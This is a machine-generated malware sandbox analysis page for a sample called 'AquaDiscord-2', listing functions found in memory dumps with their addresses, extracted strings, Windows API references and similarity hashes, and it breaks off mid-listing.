Function 0042BBCB Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

NEzL, xrefs: 0042BCA9
HTJ@, xrefs: 0042BD54

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: HTJ@$NEzL
API String ID: 0-778903024
Opcode ID: 806f3c58126dd206b782976f3eab4f1b5fd7efcc072ccba837e147ad8b25bb6e
Instruction ID: 50480005730b2ed0de741354e1467de79a17c865a4212da3418e2b02d3e8f24a
Opcode Fuzzy Hash: 806f3c58126dd206b782976f3eab4f1b5fd7efcc072ccba837e147ad8b25bb6e
Instruction Fuzzy Hash: 9341072420D7E14ADF369B3990643F7BBE19F97314FA8459DC0D94B243CB384406CB96

Function 0042BB79 Relevance: 2.6, Strings: 2, Instructions: 113COMMON

Download Yara Rule

Strings

NEzL, xrefs: 0042BCA9
HTJ@, xrefs: 0042BD54

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: HTJ@$NEzL
API String ID: 0-778903024
Opcode ID: 4b556cf63778863a4b21db29bc6b3fc65a6cbfa19378192689087ff3aa3b68fc
Instruction ID: 279d10894c9e7d1f9220d9bc0612f94080851a018c3da9949d07ce01a39e61d1
Opcode Fuzzy Hash: 4b556cf63778863a4b21db29bc6b3fc65a6cbfa19378192689087ff3aa3b68fc
Instruction Fuzzy Hash: 0631A02410D7E18ADF319B39A0643FBBBE19BA7314F98499DC0DD5B243CB384406CB56

Function 0043D9A0 Relevance: 1.9, Strings: 1, Instructions: 626COMMON

Download Yara Rule

Strings

f, xrefs: 0043DB86

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: 9658deeb176dca335962a4b351641ebaa03433d52079c4468506c1511ecfcf50
Instruction ID: 64db93ce7ce3cb20fbb1447096579fd07b34ecb83f1d1032b5a205255a4cfaa7
Opcode Fuzzy Hash: 9658deeb176dca335962a4b351641ebaa03433d52079c4468506c1511ecfcf50
Instruction Fuzzy Hash: 8C121A31A083518FD718CF2AC89076FB7E2EBC8314F29962DE49597391D738DC068B96

Function 00423E62 Relevance: 1.7, Strings: 1, Instructions: 467COMMON

Download Yara Rule

Strings

b>B, xrefs: 00423E53

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: b>B
API String ID: 0-1829109149
Opcode ID: 239827f8904fd884b4320e46c1de81e70ed20015016c700879dc5f8ed3bec6c8
Instruction ID: a1a1b0d006e0ca039f6644af3c7f2f6a4f5e3df4878b04ca0cc90ce6e8ae6dc8
Opcode Fuzzy Hash: 239827f8904fd884b4320e46c1de81e70ed20015016c700879dc5f8ed3bec6c8
Instruction Fuzzy Hash: BCE11432A083228BC714DF29D84066FB3F2FFD4701F59892DE8C597250E7389A46CB99

Function 00421980 Relevance: 1.7, Strings: 1, Instructions: 457COMMON

Download Yara Rule

Strings

Qh, xrefs: 00421B8F

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: Qh
API String ID: 0-416604385
Opcode ID: 013369e320ae7dca968d1f3d19f8e395fc4f02e944cc60745db3c7de7d1cbf27
Instruction ID: 611c37984c01b3c8a3d4b54c24d13f9d27846cd2c0722835c88c2d00e8e561f0
Opcode Fuzzy Hash: 013369e320ae7dca968d1f3d19f8e395fc4f02e944cc60745db3c7de7d1cbf27
Instruction Fuzzy Hash: 8AC12675B083108BD724DF25E89267BB3E1EFA1354F58852EE8C297391E738E905C35A

Function 0043A660 Relevance: 1.7, Strings: 1, Instructions: 453COMMON

Download Yara Rule

Strings

"/(, xrefs: 0043A745

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: "/(
API String ID: 0-2843922497
Opcode ID: 18b78cab4c7369e9d45cc31921eaa90a2d39cd5b09d68d10891896cc9532ca50
Instruction ID: 138b045e5ea7b3503a6739a2735fe6408bc333a7e413c3dcd1e756a0dc5547fa
Opcode Fuzzy Hash: 18b78cab4c7369e9d45cc31921eaa90a2d39cd5b09d68d10891896cc9532ca50
Instruction Fuzzy Hash: 6AB147356883104BD714DF26C881B6BB7E2EBCA314F19A92EE4D157382D339DC16879B

Function 00416914 Relevance: 1.7, Strings: 1, Instructions: 438COMMON

Download Yara Rule

Strings

2nA, xrefs: 00416E21

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 2nA
API String ID: 0-571203523
Opcode ID: 497cfef724bb9ac7061a692183e1d4e83dded868f9ea9c9f698713437ff4e0b1
Instruction ID: 77fdca5c366ee5fb7d436d44c078de1679970444f4c0ea169dc3108eb42a7168
Opcode Fuzzy Hash: 497cfef724bb9ac7061a692183e1d4e83dded868f9ea9c9f698713437ff4e0b1
Instruction Fuzzy Hash: C8D12535A08351DBD724CF25D8917ABB7E2FB8A304F05882DE4C997391D738D846CB8A

Function 0042AD70 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

", xrefs: 0042B058

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 0c1408164ed7949986994ce03b00d7f9f6ff7a1cfba4423f7ffe27ec7dc4ff91
Instruction ID: 377722463409a4d12b2c163946e6c12f40929f760cfd9cb0d738a70ec78ffdec
Opcode Fuzzy Hash: 0c1408164ed7949986994ce03b00d7f9f6ff7a1cfba4423f7ffe27ec7dc4ff91
Instruction Fuzzy Hash: A7C113B1B043215BD7118E24E450B6BB7E6AF84354F99892EE89587381E738EC15C7CB

Function 0042B1E0 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042B3DE

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 457bcc4734e36970056bd64e4885e605d8806025b2c38a961ce7be2c02d729d8
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 0571F832B083358BD714CE29E88431FB7E2EBC5710FA9856EE8949B355D3389C4587DA

Function 0041B8D4 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

72Y, xrefs: 0041B710

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 72Y
API String ID: 0-564303654
Opcode ID: 5385e5880359d5ccb39f7219a55c28a6b68bb3476fdd8c12494410843071b7eb
Instruction ID: 4337ef944046a775e373f072c0b24e9e38e84af2be772ab16b974ff372caf755
Opcode Fuzzy Hash: 5385e5880359d5ccb39f7219a55c28a6b68bb3476fdd8c12494410843071b7eb
Instruction Fuzzy Hash: 4021673454C3119BD725CF20CC51AAABBF1EF96305F008A6EE5D9A72E2D3398846C7C6

Function 00402F10 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5da75524e788767ec64699ac96ea130612297a95f7daa9a7f92c01636c847ed
Instruction ID: beba566f0c337e03e94a8d121a5db6c50dfc4ba255997064a0c903c7420b2622
Opcode Fuzzy Hash: b5da75524e788767ec64699ac96ea130612297a95f7daa9a7f92c01636c847ed
Instruction Fuzzy Hash: D852F4715083458FCB14CF24C0906AABFE1BF89315F18867EF8996B391D778DA49CB89

Function 00407470 Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ad0fa8146068bfe6562e592e38a34688227262f4c6a26b4ec59bef795a2e62d
Instruction ID: eff02e85cc14c1dea4739ce563387e8ed064339514d4c01d2dd91a6366e39f0e
Opcode Fuzzy Hash: 5ad0fa8146068bfe6562e592e38a34688227262f4c6a26b4ec59bef795a2e62d
Instruction Fuzzy Hash: D422A331A087118BC725DF18D9806ABB3E1BFC4319F19893ED986A7385D738B855CB87

Function 00405910 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05210ab14592169525e76f698fe40e0322417d452b96810df3ed72334fa87ebf
Instruction ID: e0d07545bf99c5bcf9f53104091ab12fee6b55ff989ca51c3b901817dc0cabf8
Opcode Fuzzy Hash: 05210ab14592169525e76f698fe40e0322417d452b96810df3ed72334fa87ebf
Instruction Fuzzy Hash: 67F1BD356087418FD724CF29C881A6BFBE2EFD9304F08882DE5D597391E639E944CB96

Function 00428D4A Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191114f41b7dd2d43134bfb0a00d8d37a42c40c5bb86188d97d5f3937e1773dc
Instruction ID: f13c2bdf90e971f3eaf5a9336ce2231f8ed65c36f054cc718fd1371a7506e679
Opcode Fuzzy Hash: 191114f41b7dd2d43134bfb0a00d8d37a42c40c5bb86188d97d5f3937e1773dc
Instruction Fuzzy Hash: 2DC124B0D04225CFCB10CF64D8916AEBB71FF56314F19856EE8156B396EB38AC01CB95

Function 0041CD40 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f284a70105d7794661198204b2091bfebd80386a1c9b8a6cacc7f5ea85886d7
Instruction ID: b9b509e6e49c4d131d7aa7f7af49c179d0f0f27c0afc080723a459acff23a10c
Opcode Fuzzy Hash: 7f284a70105d7794661198204b2091bfebd80386a1c9b8a6cacc7f5ea85886d7
Instruction Fuzzy Hash: 93913872A442618FC7158E28CC9139B7BE2ABC5324F19863EE8B9973C1D738DC4697C5

Function 0043D560 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 23f17e0cdea6eb7299afad9dfaa0018a689292dc5aab41bd9922b8370519d840
Instruction ID: e76f976c773fbf04b9f7327d9d466f2d567fba6bd7a1799d7739ea24fa2954c5
Opcode Fuzzy Hash: 23f17e0cdea6eb7299afad9dfaa0018a689292dc5aab41bd9922b8370519d840
Instruction Fuzzy Hash: 3C516B35B147019FDB188E2DEC816BBB7D2EB99320F18553EE8D587392E7389C028795

Function 00402530 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23071ed7aba6299ea5a8a1138616b71056be3a4b4f8ad3feef5fae73212ecf53
Instruction ID: d0aa8978018156a2f9b2c138b81b42fdf2c2dd25e4ff143a5cefdfbf7dce8a99
Opcode Fuzzy Hash: 23071ed7aba6299ea5a8a1138616b71056be3a4b4f8ad3feef5fae73212ecf53
Instruction Fuzzy Hash: A9716E715083849BDB148A6C8D883A77B94EF56314F18C63FE8999B3C2E3BDC905D35A

Function 00427879 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67541b89d1e2a790723e351c6a2256827d0579c96e035509cabc2be9ab00f357
Instruction ID: 79a1c04b856af922b25cae0e034fa734e047d26e083de99eeb14b1ed38a3ff48
Opcode Fuzzy Hash: 67541b89d1e2a790723e351c6a2256827d0579c96e035509cabc2be9ab00f357
Instruction Fuzzy Hash: F8512A72E18B254BD7188E6DAC5023AB2D2ABC4204F8D863DDD569B385EF74AC10D7C5

Function 00427030 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8a6cc2b17862459f61344c35872a97195db7e73bbb7928c48526c959f2b322d
Instruction ID: b38c95726408b968969ddf6a7085e2b621652b8ebaef776a4f79e8581fab324f
Opcode Fuzzy Hash: b8a6cc2b17862459f61344c35872a97195db7e73bbb7928c48526c959f2b322d
Instruction Fuzzy Hash: BF3156B161C7809BE720DF25A801B9FBBB1EBD2384F408D2DD4D86A211E6398505CB5B

Function 00423D10 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f7c56e9b388505c64ea653f2a815aa82959ae0d5801d18e48bd9a1b995f90e20
Instruction ID: fb84bfcd7364cd1e02f9907049cc3bb89e5f2374717776f149e762b11120e404
Opcode Fuzzy Hash: f7c56e9b388505c64ea653f2a815aa82959ae0d5801d18e48bd9a1b995f90e20
Instruction Fuzzy Hash: 4321B5347186119FD71C8F2AA48193BB3B2EB86716FA0152DE59213262C73DED178BCD

Function 00436320 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 5d70dd1efbd36929d760f2f261d8bda5826f1eaaa5b95a91e4b726fde98d8be2
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 0F112933A041D50EC3128D3C84005A9BFA30BD7634F1AD39AF8B49B2D2D7268D8A9359

Function 0042AA70 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e309efab317e40e93bb7692b60289ba2d332d2c67ff9717def56087b73cb8e32
Instruction ID: c8cccba91deed7ad6ce4873294a279e7cc7abd757a3d9d4cea866000f87810c8
Opcode Fuzzy Hash: e309efab317e40e93bb7692b60289ba2d332d2c67ff9717def56087b73cb8e32
Instruction Fuzzy Hash: 350192B1B0031147E6209E51A5C172BB2A96F80718F48443EDC0557342DB7DFC24C29B

Function 0043F6E3 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ad718d4c749f33f4747fd3987d0219820583e9f450f49e4526138e3d3856be
Instruction ID: 1e6f5f065346c868a4374216e1ff8e8563d53b6b319917fc3693fb1f15cd7457
Opcode Fuzzy Hash: f0ad718d4c749f33f4747fd3987d0219820583e9f450f49e4526138e3d3856be
Instruction Fuzzy Hash: 9FF0E5A9B5A7418BE708DF398C5147B77F2D3DB210F19E93CC582C3354C53894428649

Function 0043EAF2 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec1440257568dcacbce9808453dc8733135d1e2a19017a23d007bafd7ccfd25d
Instruction ID: a78cf1e6e0e68aebd5d0843b64b69d33ecbc022396edd014815549610411c9de
Opcode Fuzzy Hash: ec1440257568dcacbce9808453dc8733135d1e2a19017a23d007bafd7ccfd25d
Instruction Fuzzy Hash: 0ED05BA6C9111027D32897219D5997B75384597604B0A6A1DDC4523745E23D9C1445E9

Function 0040BDB9 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a00d8186f097e825981dba5d6c4823ac2805a43ff07e82d2d035b6ae9fa46635
Instruction ID: 5e988d5e729d8ceb5db615c77d7debf3ee2c932a3ab167ff4f79766e21bd48a6
Opcode Fuzzy Hash: a00d8186f097e825981dba5d6c4823ac2805a43ff07e82d2d035b6ae9fa46635
Instruction Fuzzy Hash: 05B0127CB4A48087C30CDF08EC51630B3F9E327394B053039940BE32A1D510D815890E

Function 00433745 Relevance: 22.8, APIs: 2, Strings: 11, Instructions: 79COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0043374F
VariantInit.OLEAUT32 ref: 00433762

Strings

O, xrefs: 004337A0
V, xrefs: 004337B0
t, xrefs: 00433820
A, xrefs: 004337C0
x, xrefs: 00433800
U, xrefs: 004337D0
|, xrefs: 004337E0
L, xrefs: 00433790
L, xrefs: 00433780
g, xrefs: 00433830
o, xrefs: 00433810

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: Variant$ClearInit
String ID: A$L$L$O$U$V$g$o$t$x$|
API String ID: 2610073882-1753474633
Opcode ID: 39c64bd33bd6552f2e51df1a87fd19bec2da68075fa32bf6ea1a30ab81113642
Instruction ID: e93254ed8265b389484747ba7ae3652620e53d65a7222c82b7b357315d594193
Opcode Fuzzy Hash: 39c64bd33bd6552f2e51df1a87fd19bec2da68075fa32bf6ea1a30ab81113642
Instruction Fuzzy Hash: A741F22460C7C18ED331DB38985879BBFD16B97224F088B9DD4ED4A2D2C7784149CB23

Function 0043323E Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 004332B9

Strings

1, xrefs: 004333A6
=, xrefs: 004333E2
0, xrefs: 004334A9
F, xrefs: 0043325D
I, xrefs: 00433249
&, xrefs: 00433374
@, xrefs: 004333F6
A, xrefs: 00433253

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: AllocString
String ID: &$0$1$=$@$A$F$I
API String ID: 2525500382-2691759510
Opcode ID: 6616321cee811b5abb673aa44505d5660c3c4f9db507fb7c077eb8c7dafc1005
Instruction ID: 6dbe45b2a04d6db8cde2141575943bfb59b89fcd93c4d3154aa8bf0d1f5f7dca
Opcode Fuzzy Hash: 6616321cee811b5abb673aa44505d5660c3c4f9db507fb7c077eb8c7dafc1005
Instruction Fuzzy Hash: 1081E36150CBC28AC3268A7C588864FEFD21BE7234F584BADF1F54B3E6D2648502C767

Function 0043397C Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 004339F7

Strings

I, xrefs: 00433987
A, xrefs: 00433991
@, xrefs: 00433B2F
&, xrefs: 00433AAD
F, xrefs: 0043399B
1, xrefs: 00433ADF
0, xrefs: 00433BE7
=, xrefs: 00433B1B

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: AllocString
String ID: &$0$1$=$@$A$F$I
API String ID: 2525500382-2691759510
Opcode ID: 059fca28d7772aa94a1e26ba6d39b749d7ebe0ed0f2a4461eba500a0b5dba51d
Instruction ID: 8cc4701dd146bd2eb1350ce2bf29858de9d71db05192a895d6f482bf7fa7267d
Opcode Fuzzy Hash: 059fca28d7772aa94a1e26ba6d39b749d7ebe0ed0f2a4461eba500a0b5dba51d
Instruction Fuzzy Hash: 5481E46150CBD28AC3268A7C588864FFFD11AE7234F484BADF6F18B3E6D2548506C767

Function 00AF1C10 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00AF1C3B
GetFileSize.KERNEL32 ref: 00AF1CC3
CloseHandle.KERNEL32 ref: 00AF1CDF

Strings

CreateFileA, xrefs: 00AF1C2E

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: AddressCloseFileHandleProcSize
String ID: CreateFileA
API String ID: 2836222988-1429953656
Opcode ID: 3b3a8397c318f0ec78c903f22b217b869669ca7126df922cdef23f0b01843e77
Instruction ID: 77bf83dd73c75a25759355b9e12f52bb8964868cbf928b580396b5d610c4b53e
Opcode Fuzzy Hash: 3b3a8397c318f0ec78c903f22b217b869669ca7126df922cdef23f0b01843e77
Instruction Fuzzy Hash: 0141B4B0D08209DFCB00EFA8D5586AEBBF0EF48314F008529E899A7350DB749949CF96

Function 00B14192 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,00B1417D,?,?,?,?,?,?,?,?,?), ref: 00B14238
__alloca_probe_16.LIBCMT ref: 00B142F3
__alloca_probe_16.LIBCMT ref: 00B14382
__freea.LIBCMT ref: 00B143CD
__freea.LIBCMT ref: 00B143D3
__freea.LIBCMT ref: 00B14409
__freea.LIBCMT ref: 00B1440F
__freea.LIBCMT ref: 00B1441F

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
